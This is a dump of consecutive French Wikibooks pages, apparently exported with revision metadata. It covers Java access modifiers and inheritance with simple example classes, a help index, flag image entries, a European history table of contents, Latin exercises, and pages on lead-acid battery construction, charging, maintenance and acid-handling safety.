{ // corps de la classe } public class Calendrier { void ajouteJour() { // corps de la mmethode } int mois; // suite de la classe } La classe ''Horloge'', la méthode ''ajouteJour'' et l'attribut ''mois'' ne sont accessible que depuis les classes faisant partie du ''package'' ''com.moimeme.temps''. === Modificateur "private" === Un attribut ou une méthode déclaré "private" n'est accessible que depuis l'intérieur même de la classe. === Modificateur "protected" === Un attribut ou une méthode déclaré "protected" est accessible depuis l'intérieur même de la classe ou de ses sous-classes, mais aussi depuis les classes faisant partie du même ''package''. === Modificateur "public" === Une classe, un attribut ou une méthode déclaré "public" est visible par toutes les classes et méthodes. Programmation Java Héritage 1140 42990 2006-05-22T13:28:25Z Cpb 1553 typo {{Programmation Java}} '''Héritage''' L'héritage, l'un des mécanismes les plus puissants de la [[Programmation orientée objet|programmation orientée objet]], permet de reprendre des membres d'une classe (appelée ''superclasse'' ou ''classe mère'') dans une autre classe (appelée ''sous-classe'', ''classe fille'' ou encore ''classe dérivée''), qui en hérite. De cette façon, on peut par exemple construire une classe par héritage successif. En [[Programmatiob Java|Java]], ce mécanisme est mis en &oelig;uvre au moyen du mot-clé ''extends'' Exemple : public class Vehicule { public int vitesse; public int nombre_de_places; } public class Automobile extends Vehicule { public Automobile() { this.vitesse = 90; this.nombre_de_places = 5; } } Dans cet exemple, la classe ''Automobile'' hérite de la classe ''Vehicule'', ce qui veut dire que les attributs ''vitesse'' et ''nombreDePlaces'', bien qu'étant définis dans la classe ''Vehicule'', sont présents dans la classe ''Automobile''. Le constructeur défini dans la classe ''Automobile'' permet d'ailleurs d'initialiser ces attributs. En [[Programmation Java|Java]], le mécanisme de l'héritage permet de définir une hiérarchie des classes comprenant toutes les classes. En l'absence d'héritage indiqué explicitement, une classe hérite implicitement de la classe ''Object'', ce qui veut dire que cette classe est la racine de la hiérarchie de classe. === La classe ''Object'' === Au moment de l'instanciation, la classe fille reçoit les caractéristiques qui peuvent être hérités de sa super-classe, qui elle même reçoit les caractéristiques qui peuvent être hérités de sa propre superclasse, et ce récursivement jusqu'à la classe ''Object''. Ce mécanisme permet de définir des classes génériques réutilisables, dont on précisera le comportement dans des classes dérivées plus spécifiques. Il faut préciser que, contrairement à [[Programmation C plus plus|C++]], [[Programmation Java|Java]] ne permet pas l'héritage multiple, ce qui veut dire qu'une classe dérive toujours d'une classe et d'une seule (''Object'', si aucun héritage n'est précisé). === Héritage d'interface === L'héritage d'interface est aussi possible en java. A la différence des classes, l'héritage multiple est autorisé, ce qui veut dire qu'une interface peut hériter d'autant d'autres interfaces que désiré. Contrairement à ce qu'on pourrait penser, l'héritage d'interface ne se fait pas avec le mot clé ('''implements''') mais bien avec le mot clé '''extends''', puisque c'est une interface qui "étend" une interface existante et ne l'implémente pas (les mots clé '''extends''' et '''implements''' sont plus clairs que 'héritage' dans ce sens). L'héritage multiple se fait donc de la même manière qu'avec le mot-clé '''implements''' : en séparant les interfaces parentes par une virgule. Petite expérimentation avec le code suivant : public interface InterfaceA { public void methodA(); } public interface InterfaceB { public void methodB(); } public interface InterfaceAB extends InterfaceA, InterfaceB { public void otherMethod(); } public class ClassAB implements InterfaceAB{ public void methodA(){ System.out.println("A"); } public void methodB(){ System.out.println("B"); } public void otherMethod(){ System.out.println("blablah"); } public static void main(String[] args) { ClassAB classAb = new ClassAB(); classAb.methodA(); classAb.methodB(); classAb.otherMethod(); } } === Le mot-clé ''super'' === Le mot-clé ''super'' permet d'accéder aux membres de la super-classe d'une classe, de la même manière que l'on accède aux attributs de la classe elle-même à l'aide du mot-clé ''this''. Exemple : public class Avion extends Vehicule { public Avion() { super(); } } Dans cet exemple, le constructeur de la classe ''Avion'' fait appel au constructeur de la classe ''Vehicule''. === Liens === http://www.commentcamarche.net/java/javaherit.php3 Sur cette page, on en découvre un peu plus sur le mot clé ''super''. Wikilivres:Aide 1142 44823 2006-06-17T11:22:51Z Nicombo 684 /* Contribuer */ [[catégorie:Wikilivres:Aide|Aide]] Cet article est l''''aide''' du projet Wikilivres francophone. Vous trouverez sur cette page des liens vers différentes rubriques. Si vous vous posez des questions, il y a de bonnes chances que vous les trouviez dans notre [[Wikilivres:Foire aux questions|Foire aux questions]] qui contient les réponses aux questions les plus courantes. == À propos == *[[Wikilivres:À propos|À propos]] *[[Wikilivres:Jargon de Wikilivres|Jargon de Wikilivres]] *[[Wikilivres:Copyright|Copyright]] *[[Wikilivres:Historique du Wikilivres français|Historique du Wikilivres francophone]] == Bienvenue == *[[Wikilivres:Bienvenue|Bienvenue]] *[[Wikilivres:Premiers pas|Premiers pas]] *[[Wikilivres:Nom d'utilisateur|Nom d'utilisateur]] *[[Wikilivres:Comment modifier une page|Comment modifier une page]] *[[Wikilivres:Comment démarrer une page|Comment démarrer une page]] *[[Wikilivres:Comment déplacer une page|Comment déplacer une page]] *[[Wikilivres:Comment supprimer une page|Comment supprimer une page]] *[[Wikilivres:Recherche|Comment chercher une page]] *[[Wikilivres:Comment insérer une image|Comment insérer une image]] *[[Wikilivres:Comment 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'''Page principale''' : [[Wikilivres:Aide]] [[Catégorie:Wikilivres]] [[da:Kategori:Wikibooks]] [[de:Kategorie:Wikibooks]] [[en:Category:Wikibooks]] [[es:Categoría:Wikilibros]] [[nl:Categorie:Wikibooks]] [[pl:Kategoria:Meta-strony Wikibooks]] [[pt:Categoria:Wikilivros]] [[sv:Kategori:Wikibooks]] Image:Brazil flag medium.png 1144 12791 2004-11-28T10:34:53Z Esope 99 Drapeau du Brésil, repris de l'ancien site Drapeau du Brésil, repris de l'ancien site Image:Portugal flag medium.png 1145 12792 2004-11-28T10:35:56Z Esope 99 Drapeau du Portugal, repris de l'ancien site Drapeau du Portugal, repris de l'ancien site Image:Angola flag medium.png 1146 12793 2004-11-28T10:36:34Z Esope 99 Drapeau de l'Angola, repris de l'ancien site Drapeau de l'Angola, repris de l'ancien site Image:Mozambique flag medium.png 1147 12794 2004-11-28T10:36:59Z Esope 99 Drapeau du Mozambique, repris de l'ancien site Drapeau du Mozambique, repris de l'ancien site Image:Cape verde flag medium.png 1148 12795 2004-11-28T10:38:17Z Esope 99 Drapeau du Cape Verde, repris de l'ancien site Drapeau du Cape Verde, repris de l'ancien site Image:Guinea bissau flag medium.png 1149 12796 2004-11-28T10:38:49Z Esope 99 Drapeau du Guinea Bissau, repris de l'ancien site Drapeau du Guinea Bissau, repris de l'ancien site Image:East timor flag medium.png 1150 12797 2004-11-28T10:39:30Z Esope 99 Drapeau de "East timor", repris de l'ancien site Drapeau de "East timor", repris de l'ancien site Image:SãoTomé and P flag medium.png 1151 12798 2004-11-28T10:40:12Z Esope 99 Drapeau de "SãoTomé and Príncipe", repris de l'ancien site Drapeau de "SãoTomé and Príncipe", repris de l'ancien site Histoire de l'Europe:sommaire 1152 12799 2005-04-18T20:33:58Z Skipi 246 +en Le but de cet ouvrage est de mettre en perspective l'histoire et les rapports des peuples et des nations qui forment l'Europe. <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#EEEEEE"> <!-- ### intro ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><big><div style="margin-right:15px"> [[Histoire de l'Europe:Introduction|'''Introduction''']] </big> ''Qu'est-ce-que l'Europe? Comment l'Histoire a formé un continent.'' </div></td> <td style="background:#CCCCEE;vertical-align:top">[[Image:180px-Europa-Zeus-LDS.jpg|80px|Europe emportée par Zeus]]</td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### chapitre 1 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 1|'''1. La Préhistoire de l'Europe''']] </big> ''L'arrivée de l'Homme en Europe, Neandertal, Cro-Magnon, naissance de l'art, paléolithique supérieur'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 2 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 2|'''2. Les Celtes''']] </big> ''âge du bronze, âge du fer'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 3 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 3|'''3. Antiquité greco-romaine''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 4 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 4|'''4. Les débuts de la chrétienté''']] </big> ''origine et expansion du christianisme en Europe, formation d'un Empire chrétien'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 5 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 5|'''5. Les Germains''']] </big> ''arrivée des Germains en Europe et expansion, Francs, Mérovingiens, langues germaniques et romanes'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 6 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 6|'''6. Les Carolingiens''']] </big> ''Les premiers carolingiens, Charlemagne, l'idée impériale, formation et décomposition de l'Empire, une première Europe'' </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 7 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 7|'''7. Les Grandes Invasions''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 8 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 8|'''8. L'Apogée de la Chrétienté''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 9 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 9|'''9. La formation des états européens (XIVe-XVe siècle)''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 10 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 10|'''10. Renaissance et Réforme (XVIe siècle)''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 11 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 11|'''11. Absolutisme et Lumières''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 12 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 12|'''12. Les révolutions''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 13 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 13|'''13. Romantisme et Nations''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 14 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 14|'''14. La conquête de monde et les faiblesses de l'Europe''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 15 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 15|'''15. La destruction de l'Europe (1914-1945)''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 16 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 16|'''16. Reconstruction et naissance d'un projet politique''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 17 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 17|'''17. L'Europe de la guerre froide''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### chapitre 18 ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Chapitre 18|'''18. L'Europe depuis 1990''']] </big> </td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### Glossaire ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Glossaire|'''Glossaire''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### biblio ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Bibliographie|'''Bibliographie''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### Liens ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:Liens|'''Liens''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> <!-- ### Space ### --> <tr><td colspan=3 style="height:10px;background:#FFFFFF"></td></tr> <!-- ### Authors ### --> <tr> <td style="vertical-align:top;text-align:center"><div style="margin-top:10px">[[Image:Red.png]]</div></td> <td style="vertical-align:top"><div style="margin-right:20px"><big> [[Histoire de l'Europe:auteurs|'''Auteurs''']] </big> </div></td> <td style="background:#CCCCEE;vertical-align:top"></td> </tr> </table> <hr> [[Histoire de l'Europe|<< Page de garde]] [[en:European History:Contents]] Latin/Versions/Niveau débutant 1156 45928 2006-06-26T19:58:19Z Guillaumito 46 [[Versions latines, niveau débutant]] déplacé vers [[Latin/Versions/Niveau débutant]]: politique de nommage Luna tunc erat plena et agricolae liberi in stagni aquis lunae videre potuerunt (luna autem, ut putabant, est dea) ---- Poetae saepe laudaverunt Minervam, patronam Athenarum. Sumus ante statuam Minervae. Dea semper gessit galeam et loricam ; semper habuit in sinistra hastam et in dextra statuam Victoriae. Nam Minerva saepe pugnavit et vicit. ---- Image:Compositionbatterie.jpg 1158 12804 2004-12-02T01:59:52Z Tipiac 9 GFDimage {{GFDL}} http://fr.wikipedia.org/wiki/Utilisateur:Archambaultluc37 Batterie-plomb 1159 46633 2006-06-30T19:42:33Z 86.219.11.25 /* Défauts */ ==Généralités== Une batterie au plomb est composée de plusieurs cellules d'accumulateurs montées en série. La tension d'une batterie au plomb est toujours multiple de '''2 Volts''' environ.<br />La batterie d'un véhicule (automobile, motocyclette) actuel (2005), comporte six cellules, elle a donc une tension électrique de l'ordre de '''12 Volts'''. Pour les poids lourds et les bateaux, on trouve plutôt des batteries de '''24 Volts''', pouvant, dans le cas des bateaux permettre la vie à bord, ainsi que la génération de 220V par l'intermédiaire d'un onduleur.<br />En réalité, une batterie 12 Volts chargée affichera une tension de '''12,8 à 13,2 Volts'''; si la tension d'une batterie chargée est inférieure à '''11,4 Volts''', la batterie sera en fin de vie. Même non branchée, une batterie au plomb se décharge lentement du fait de diverses réactions chimiques parallèles présentes, qui peuvent conduire à la "sulfatation" de la borne positive (poudre blanchâtre). La capacité d'une batterie est donnée en Ah (Ampère Heure). Deux élements associés en série doubleront la tension disponible, pour une même capacité, mais deux éléments associés en parallèle doubleront la capacité de la batterie pour une tension disponible inchangée. Sa capacité disponible varie suivant le courant de décharge et est exprimée comme suit par convention: 12V 1000Ah C/20, qui signifie que la batterie déchargé à un courant de 1 vingtième de sa capacité pourra fournir 1000Ah. La même batterie déchargé à un courant plus important tel que C/2 aura une capacité utile plus faible de l'ordre de 80% de celle à C/20. De la même manière cette batterie soumise à un courant de décharge de C/50 (soit 20A) pourra fournir + de 1000Ah. Le phénomène est connu sous le nom de effet Peukert et est lié à la résistance interne de la batterie; plus on décharge fort et plus la chute de tension est importante, faisant atteindre le seuil de tension minimale critique plus rapidement (10,75V pour une batterie plomb) et obligeant à stopper la décharge sous peine de détérioration. La capacité indiquée d'une batterie n'est '''en aucun cas''' sa capacité utilisable sans détérioration. Suivant le type de batteries, on pourra utiliser de 80% (batteries stationnaires) à 10% (batteries de démarrage) de cette capacité. ==Technique de construction== [[Image:Compositionbatterie.jpg]] # Bac. # Couvercle. # Plaques. # Séparateurs. # Bornes, le plus gros diamètre est le '''+''' . # Barrettes de liaison des éléments. # Électrolyte (Acide sulfurique). Chaque élément est constitué d'un bac rempli d'[[w:fr:acide sulfurique|acide sulfurique]] ('''H<sub>2</sub>SO<sub>4</sub>''') dilué entre 30 et 38 % (concentration de l'ordre de 5M), dans lequel baignent des plaques constituées d'un composé de [[w:fr:plomb|plomb]] alvéolé: * Les alvéoles procurent une plus grande surface de contact avec l'électrolyte (augmentation de la capacité). * Les plaques négatives sont en '''[[w:fr:Litharge|Litharge]]. * Les plaques positives sont en '''[[w:fr:minium|minium]]'''. * Afin d'assurer la position des plaques, des entretoises ou des séparateurs fait d'un matériaux poreux, résistant à l'acide et neutre, garantissent l'espacement des plaques. ==Fonctionnement== Pendant la charge et la décharge, la constitution chimique des électrodes varient. ===Décharge=== * Electrode positive '''+''' ou [[w:fr:cathode|cathode]] : le dioxyde de plomb '''PbO<sub>2</sub>''' (dépôt brun) se transforme en sulfate de plomb '''PbS0<sub>4</sub>''' en libérant de l'[[w:fr:oxygène|oxygène]] '''O<sub>2</sub>''' et en consommant des électrons. * Electrode négative '''-''' ([[w:fr:anode|anode]]) : le plomb fixe la partie sulfurée de l'acide pour donner du sulfate de plomb '''PbSO<sub>4</sub>''' et libérer des électrons. Dans les deux cas, du sulfate de plomb est produit par les réactions chimiques. ===Charge=== Les réactions chimiques s'inversent et les plaques retournent progressivement à leur état d'origine. Comme il faut apporter les électrons consommés à la borne négative, il est impératif de brancher la borne moins '''-''' du chargeur sur la borne moins de la batterie. Une batterie au plomb se charge au maximum en lui délivrant un courant égal à 10% de sa capacité : pour une batterie de 1000Ah on utilisera un chargeur 80 à 100A. Utiliser un chargeur trop puissant endommagerait la batterie, et un chargeur pas assez puissant n'arriverait pas à la charger. De plus, la durée de charge augmente sur les derniers 10% de la capacité. ===Défauts=== * Théoriquement oxygène et hydrogène se recombinent tandis que le sulfate de plomb qui se forme pendant la réaction disparaît. * En pratique, du fait de la présence d'une différence de potentiel (tension) une partie de l'eau disparaît sous forme de dégagement d'oxygène et d'hydrogène, et du sulfate de plomb se dépose petit à petit (en particulier à la borne postive de la batterie), ce qui conduit à la détérioration lente de la batterie. Ce phénomène explique la '''décharge lente''' d'une batterie qui n'est pas branchée. Un couvercle et une ventilation haute et basse de la batterie (dans le cas d'une batterie stationnaire) doivent être prévu pour exporter l'hydrogène hors du lieu d'utilisation de la batterie. La ventilation peut être active ou passive. * Les compartiments d'une batterie ne doivent pas contenir d'impuretés sous peine d'introduire des réactions chimiques parasites qui favoriseront la détérioration de sa capacité à stocker l'énergie électrique. C'est pourquoi il est nécessaire de compléter les niveaux avec de l'eau '''déminéralisée'''. * Du fait de la présence de plomb en grande quantité, une batterie est un objet lourd (compter environ une tonne pour une batterie stationnaire de 1000Ah). * Le prix des batteries augmentent avec les besoins croissants de la Chine (principalement) en matières premières (plomb). * La charge comme la décharge d'une batterie sont exothermiques. {{Batterie d'accumulateurs}} Avertissement et sécurité dans la manipulation des batteries 1160 12806 2004-12-02T02:19:33Z Tipiac 9 {{ChargeBatterie}} ;'''La [[manipulation]] des [[batteries]] [[automobiles]]''' est dangereuse; certaines précautions sont donc à prendre: PROCEDER AVEC LA PLUS EXTREME PRUDENCE AFIN DE PREVENIR TOUT DEVERSEMENT OU TOUTE PROJECTION DE SOLUTION D'ACIDE SULFURIQUE. CETTE SOLUTION PEUT DETRUIRE LES VETEMENTS ET CAUSER DES BRULURES AUX YEUX ET A LA PEAU. ;TOUJOURS PORTER DES LUNETTES ANTI-ECLABOUSSURES ET DES VETEMENTS PROTECTEURS (GANTS ET TABLIERS) UN [[ECRAN]] FACIAL PEUT EGALEMENT ETRE NECESSAIRE. NE JAMAIS MELANGER DE L’EAU AVEC L’[[ACIDE]] PUR : RISQUE D’EXPLOSION. IL N’Y A QUE DES SPECIALISTES QUI SONT EN MESURE D’EFFECTUER LE MELANGE DE L’ELECTROLYTE QUI RENTRE DANS LA FABRICATION DE LA BATTERIE ;LES BATTERIES PEUVENT PESER DE 30 A 60 LB (ENVIRON 14 A 27 KG). IL EST DONC IMPORTANT DE SUIVRE DES PROCEDURES DE SECURITE POUR SOULEVER OU POUR TRANSPORTER UNE BATTERIE SANS SE BLESSER LE DOS; UTILISER UN PORTE-BATTERIE OU PRENDRE LA BATTERIE PAR LES COINS OPPOSES. PENDANT LA CHARGE D’UNE BATTERIE, UNE REACTION CHIMIQUE SE PRODUIT ET ENTRAINE LA FORMATION DE VAPEURS D’HYDROGENE.[[Image:Dangerexplosion2.gif]] [[Image:Feuinterdit1.gif]] Ce [[Gaz]] FACILEMENT INFLAMMABLE PEUT S'ECHAPPER PAR LES EVENTS ET FORMER UN MELANGE EXPLOSIF DANS L'ATMOSPHERE PRES DE LA BATTERIE DANS DES CONDITIONS DE MAUVAISE [[VENTILATION]]. * PAS D'ETINCELLES, FLAMMES, CIGARETTES ALLUMEES ET AUTRES SOURCES D'INFLAMMATION PRES D'UNE BATTERIE. * NE PAS DEBRANCHER UNE BORNE SI LE CIRCUIT EST SOUS TENSION. {{ChargeBatterie}} Vérification et entretien de la batterie 1161 30425 2006-01-26T22:31:24Z 82.224.247.21 Garder une [[batterie]] propre et sans [[humidité]], pour éviter les risques d’[[étincelle|étincelles]] et d’[[autodécharge]]. La vérification d’une batterie se fait à l’aide d’instruments de mesure allant de l’hydromètre au vérificateur de capacité. Avant de les utiliser, on débute par l’observation visuelle de l’état de la batterie, pour y déceler des fissures ou un gonflement des parois. La saleté ainsi que l’humidité peuvent provoquer le passage du courant et sa décharge. L’accumulation de [[vert de gris]] autour des bornes de la batterie, en particulier autour de la borne positive risque de provoquer un court-circuit à la masse. Donc il faut bien nettoyer les bornes et les enduire d’une graisse isolante une fois les câbles installés. Toutes les batteries ont un évent qui permet à la batterie de respirer. Cet évent a pour fonction d’éviter la formation de pression lorsque la batterie monte en température. Il est donc très important de vérifier que cet évent ne soit pas bloqué, car il y a un risque d’explosion. PENDANT LA CHARGE D’UNE BATTERIE, UNE REACTION CHIMIQUE SE PRODUIT ET ENTRAINE LA FORMATION DE VAPEUR D’HYDROGENE. Pour éviter que la pression n’augmente trop rapidement, il faut retirer tous les bouchons de remplissage de la batterie. Certaines précautions sont donc à prendre pour éviter tout danger d’explosion. Lors de l’installation des câbles du chargeur de batterie par exemple. Voici la procédure à suivre pour éviter tout danger d’explosion. Avant tout, relier les câbles de charge du chargeur aux pôles de la batterie en branchant en tout premier lieu la borne positive et en deuxième la borne négative. Ensuite brancher le chargeur au secteur et régler sur la bonne valeur l’ampérage et la durée de charge prescrite par le fabricant de la batterie. Lorsque la batterie est chargée, arrêter le chargeur, débrancher son câble, puis retirer en premier le câble négatif et ensuite le câble positif. Laisser reposer la batterie pendant au moins trente minutes avant son utilisation (La réaction [[chimie|chimique]] est toujours en cours et si l’on touche la batterie on peut remarquer qu’elle est chaude). Remettre les bouchons et rincer abondamment à l’eau la batterie. Après avoir attendu trente minutes, vérifier le [[voltage]] de la batterie à l’aide d’un multimètre. À ce moment la lecture du [[voltmètre|multimètre]] devra indiquer, pour une batterie conventionnelle avec entretien, 12.5 [[volt|volts]] et plus, tandis que la batterie sans entretien aura 13.0 [[volt|volts]] et plus. ;ATTENTION ! UNE CHARGE EXCESSIVE DE LA BATTERIE RISQUE DE L’ENDOMMAGER DE FAÇON PERMANENTE {{ChargeBatterie}} Suivre l'entretien d'une batterie 1162 12808 2004-12-02T02:19:57Z Tipiac 9 {{ChargeBatterie}} ;[[Utilisation]] des [[batterie|batteries]] [[automobile|automobiles]] Inspecter la [[batterie]] afin de repérer tout [[câble]] défectueux ou signe de corrosion, ou toute connexion ou fixation desserrée, toute fissure sur le bac ou sur le couvercle de la batterie ou toute borne déformée ou non assujettie. Remplacer les pièces usées ou inutilisables. Serrer les écrous des cosses de câble à l'aide d'une clé de taille appropriée. Ne pas exercer des forces de serrage excessives sur les bornes. Utiliser un tire-câbles pour retirer une cosse fixée à une borne. Enlever la corrosion des bornes, du bac de batterie et des pièces de fixation. Utiliser une brosse conique pour retirer la poussière des bornes et des cosses. Pour soulever une batterie, utiliser un porte-batterie ou la prendre par les coins opposés Éviter de se pencher au-dessus d'une batterie. Ne pas décharger une batterie trop profondément. Graisser les cosses afin d'éviter les mauvais contacts. Si les bornes et les cosses sont sulfatées, les nettoyer avec de l'eau et du bicarbonate de soude, et les gratter à la brosse métallique. Ensuite les enduire de graisse pour les protéger. Vérifier le niveau d'{{électrolyte]] régulièrement. Garder votre batterie toujours bien chargée. Stocker la batterie dans un endroit tempéré et sec. (Une batterie déchargée craint le gel). {{ChargeBatterie}} Test capacitif d'une batterie 1163 12809 2004-12-02T02:20:02Z Tipiac 9 {{ChargeBatterie}} ;[[Utilisation]] des [[Batterie|batteries]] [[automobile|automobiles]]. Il est conseillé de vérifier la puissance de la [[batterie]] en lui faisant passer un test de capacité. Ce test permet de vérifier l’état d’une batterie. Une batterie sulfatée perd de sa capacité lorsqu’elle subit une demande en puissance. Le [[sulfatage]] de batterie est un phénomène naturel. Il se produit souvent par la négligence. En voici quelques causes : le fait de laisser une batterie sur du ciment, la laisser pendant une période prolongée d’un mois ou plus sans être rechargée, quand on oublie de fermer la clé de contact ou que l’éclairage n’a pas été coupé et que la batterie s’est complètement déchargée et lorsqu’il y a surcharge. Pour réaliser le test capacitif, il est préférable que la batterie ait été rechargée complètement. Ce test consiste à appliquer, pendant un certain temps, une quantité de courant à un [[voltage]] suffisant. Une batterie a une capacité déterminée (en [[ampère-heure]]). {{ChargeBatterie}} Précautions à prendre pour remplir une batterie 1164 12810 2004-12-02T02:20:13Z Tipiac 9 {{ChargeBatterie}} ;[[Utilisation]] des [[batterie|batteries]] [[automobile|automobiles]]: Pour nettoyer les [[borne|bornes]], s'assurer qu'aucun dépôt de batterie n'entrera en contact avec le corps en utilisant une brosse conique pour diriger les débris loin du corps. Ne pas remplir les éléments de la batterie au-dessus de l'indicateur de niveau. Utiliser une poire de remplissage qui permet de remplir automatiquement à un niveau prédéterminé. Ne pas trop comprimer la seringue pour éviter que l'acide contenue dans l'eau soit projetée par l'ouverture de l'élément. {{ChargeBatterie}} Consignes de sécurité pour manipuler l'électrolyte 1165 12811 2004-12-02T02:20:17Z Tipiac 9 {{ChargeBatterie}} ;[[Manipulation]] des [[batterie|batteries]] [[automobile|automobiles]] Verser lentement l'acide concentré dans l'eau : NE PAS ajouter d'eau à l'acide - l'eau a tendance à flotter sur l'acide qui est plus lourd (plus dense). L'eau peut devenir suffisamment chaude pour jaillir. Utiliser des contenants et des entonnoirs non métalliques. Remettre les bouchons sur tous les contenants d'électrolyte et entreposer ces derniers dans un endroit sécuritaire, au niveau du sol. Ne pas entreposer une solution d'[[acide]] dans des endroits exposés à la chaleur ou aux rayons directs du soleil. Ne pas entreposer l'électrolyte sur une étagère ou dans un endroit où le contenant peut se renverser. Ne pas ouvrir ou percer un contenant à l'aide d'un tournevis ou d'un autre instrument. L'[[électrolyte]] pourrait jaillir sur le visage, les mains ou les vêtements. Ne pas remplir d'une solution d'électrolyte une batterie neuve installée sur un véhicule. Remplir la batterie alors qu'elle est au sol, avant son installation. Garder les couvercles de protection quand la batterie est en utilisation. {{ChargeBatterie}} Méthode de charge d'une batterie 1166 12812 2004-12-02T02:20:21Z Tipiac 9 {{ChargeBatterie}} ==Charger la [[Batterie (électricité)|batterie]] régulièrement et correctement.== Charger correctement une [[Batterie 